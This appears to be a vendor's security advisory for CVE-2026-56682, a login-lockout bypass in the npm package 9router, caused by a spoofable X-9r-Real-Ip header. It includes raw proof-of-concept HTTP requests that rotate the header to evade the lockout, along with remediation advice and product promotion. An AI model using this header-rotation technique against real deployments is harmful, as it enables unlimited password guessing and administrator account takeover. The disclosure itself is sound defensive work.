Summary
9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header
9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.
Affected Component
src/lib/auth/loginLimiter.jsgetClientIp(), derives the rate-limit bucket key from the client-suppliedX-9r-Real-IpheadercheckLock()/recordFail(), per-IP progressive lockout (MAX_FAILS_BEFORE_LOCK = 5)
src/app/api/auth/login/route.js, login endpoint protected by the above limiter
Root Cause
The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. getClientIp() returns the value of X-9r-Real-Ip directly. The design assumes this header is produced and sanitized only by the trusted custom-server.js wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:
Untrusted Client Input
↓
X-9r-Real-Ip: <attacker-chosen, rotated each request>
↓
getClientIp() → distinct bucket per request
↓
recordFail()/checkLock() → threshold (5) never reached
↓
unlimited 401 attempts, no 429 lockout
Attack Scenario
The instance is deployed in a mode that does not use
custom-server.js, and the login endpoint is reachable by the attacker (the default bind is0.0.0.0).The attacker submits password guesses to
POST /api/auth/login, setting a differentX-9r-Real-Ipvalue on each request (e.g.,10.0.0.1,10.0.0.2, ...).Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns
429.The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.
Proof of Concept
Baseline, fixed header value (lockout enforced)
Repeated POST /api/auth/login with a constant X-9r-Real-Ip: 9.9.9.9 and body {"password":"wrong"}:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses (sequential):
#1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
#2 → 401 {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}
#3 → 401 {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}
#4 → 401 {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}
#5 → 429 Retry-After: 30
{"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}
Exploit, rotated header value (lockout bypassed)
Same request and body, but a different X-9r-Real-Ip per request, sent while 9.9.9.9 was already locked:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses:
X-9r-Real-Ip: 10.0.0.1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.2 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.3 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
Every rotated value resets to "4 attempt(s) left" and never returns 429, demonstrating unbounded guessing.
Impact
The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (0.0.0.0) and the existence of a default dashboard password, both of which lower the effort required to succeed.
CVE-2026-56682 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.5.8); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Do not derive the rate-limit key from a client-controllable header. Base
getClientIp()on the transport-level peer address (req.socket.remoteAddress) for the limiter bucket. - Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.
- If
custom-server.jsis required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-suppliedX-9r-*headers at the edge before they reach the limiter. - Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.
Frequently Asked Questions
- What is CVE-2026-56682? CVE-2026-56682 is a medium-severity security vulnerability in 9router (npm), affecting versions <= 0.5.4. It is fixed in 0.5.8.
- How severe is CVE-2026-56682? CVE-2026-56682 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of 9router are affected by CVE-2026-56682? 9router (npm) versions <= 0.5.4 is affected.
- Is there a fix for CVE-2026-56682? Yes. CVE-2026-56682 is fixed in 0.5.8. Upgrade to this version or later.
- Is CVE-2026-56682 exploitable, and should I be worried? Whether CVE-2026-56682 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-56682 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-56682? Upgrade
9routerto 0.5.8 or later.